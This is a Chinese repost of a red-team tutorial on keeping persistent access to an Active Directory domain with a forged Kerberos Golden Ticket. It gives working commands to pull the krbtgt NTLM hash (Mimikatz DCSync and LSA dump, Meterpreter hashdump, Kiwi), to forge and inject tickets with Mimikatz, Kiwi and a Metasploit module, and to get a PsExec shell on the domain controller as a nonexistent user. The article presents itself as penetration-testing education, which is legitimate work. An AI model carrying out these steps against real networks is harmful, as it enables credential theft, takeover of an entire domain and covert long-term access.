当顾问获得域管理员访问权限时,网络渗透测试通常会停止。但是,如果项目需要花费时间,并且担心由于各种原因可能会丢失访问权限,则域持久性可能是必要的,例如:
-
更改被盗用的域管理员密码
-
检测新的域管理员帐户
Benjamin Delpy发现了黄金票证攻击,从那时起,围绕这一主题出现了各种文章,威胁行为者(Bronze Butler)正在利用这种攻击实现域持久性。这种技术利用 Kerberos 身份验证协议缺乏验证来冒充有效或无效的特定用户。这是因为在当前会话中拥有 TGT(票证授予票证)的用户将被视为受 Kerberos 信任,因此可以访问网络中的任何资源。
Mimikatz支持创建黄金票证及其 meterpreter 扩展 kiwi。Metasploit Framework 有一个后期开发模块,可以自动执行该活动。创建黄金票证需要以下信息:
-
域名
-
域 SID
-
要模仿的用户名
-
krbtgt NTLM 哈希
发现黄金票证的先决条件
通过执行whoami /user命令或使用PsTools中的PsGetsid实用程序可以非常轻松地获取域名和域 SID 。
whoami /user
PsGetsid64.exe pentestlab.local
域 SID
可以通过以下方法获取 krbtgt帐户的NTLM哈希:
-
DCSync(Mimikatz)
-
LSA(Mimikatz)
-
Hashdump(Meterpreter)
-
NTDS 文件
-
DCSync(Kiwi)
DCSync 是 mimikatz 的一项功能,它会尝试模拟域控制器并从目标域控制器请求帐户密码信息。此技术干扰较少,因为它不需要直接访问域控制器或通过网络检索 NTDS.DIT 文件。
lsadump::dcsync /user:krbtgt
Mimikatz – krbtgt NTLM 哈希
或者,Mimikatz 可以通过在域控制器上执行 Mimikatz 从本地安全机构 (LSA) 检索 krbtgt 帐户的哈希值。
privilege::debug
lsadump::lsa /inject /name:krbtgt
Mimikatz – 通过 LSA Dump 获取 krbtgt NTLM 哈希
如果与域控制器有 Meterpreter 会话,最快的方法是hashdump命令:
Meterpreter – krbtgt NTLM 哈希
Kiwi 扩展还支持 DCSync 方法并可以检索 SID、LM 和 NTLM 哈希。
dcsync_ntlm krbtgt
Metasploit Kiwi DCSync – 检索 NTLM 哈希
Mimikatz
利用获得的信息,可以用 Mimikatz 创建伪造的黄金票。
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e
/ticket:evil.tck /ptt
Mimikatz – 创建黄金票证
kerberos ::list命令将检索所有可用的 Kerberos 票证,而kerberos::tgt将列出已为当前用户会话提交的票证。
kerberos::list
kerberos::tgt
Mimikatz – Kerberos 门票
由于票证是使用krbtgt帐户的 NTLM 哈希生成的,因此 Kerberos 将默认信任该票证,因此任何有效或无效的用户无论其权限如何,都可以不受限制地访问网络,包括访问域控制器。这可以通过列出域控制器上的管理共享来确认。
dir \WIN-PTELU2U07KGC$
列出无黄金票证的 DC 管理员份额
使用PsExec实用程序也可以通过 Shell 访问域控制器。即使用户“ evil”无效,Kerberos 也会使用当前会话中的票证授予访问权限。
PsExec64.exe \WIN-PTELU2U07KG cmd.exe
黄金票证 – 使用 PsExec 作为无效用户的 Shell
检查域控制器上的域用户列表,可见用户 evil 不存在,但他具有域管理员访问权限。
域用户 – 不存在恶意用户
需要注意的是,netbios 名称应该用于 Kerberos 身份验证。尝试使用其对应的 IP 地址访问相同资源将失败,并出现拒绝访问错误,因为在这种情况下将使用 NTLM 身份验证而不是票证。
Metasploit
在网络上获得域管理员访问权限并且在评估中大量使用 Metasploit Framework 的情况下,有一个 Metasploit 模块可以自动执行黄金票证任务。
post/windows/escalate/golden_ticket
该模块将尝试自动获取所需数据,但是由于信息已被检索,因此可以手动导入。
Metasploit – 黄金票证模块配置
Metasploit 将自动创建、存储并将票证应用于现有的 Meterpreter 会话。
Metasploit – 黄金票证
猕猴桃
Mimikatz 已作为名为 kiwi 的扩展移植到 Metasploit Framework。在 Meterpreter 会话中,可以通过运行以下命令加载 Kiwi:
meterpreter > load kiwi
可以通过执行以下命令使用 kiwi 创建黄金票证:
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307
-k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
Metasploit Kiwi – 黄金票证
为了将票证应用于现有会话,需要使用kerberos_ticket_use :
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
验证当前会话是否存在 Kerberos 票证
kerberos_ticket_list
Metasploit Kiwi – Kerberos 票证列表
可以在域控制器上以 pentestlabuser(一个不存在的帐户)访问资源。
Golden Ticket
https://pentestlab.blog/2018/04/09/golden-ticket/
原文始发于微信公众号(Ots安全):红队战术 - 域持久性黄金票据
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论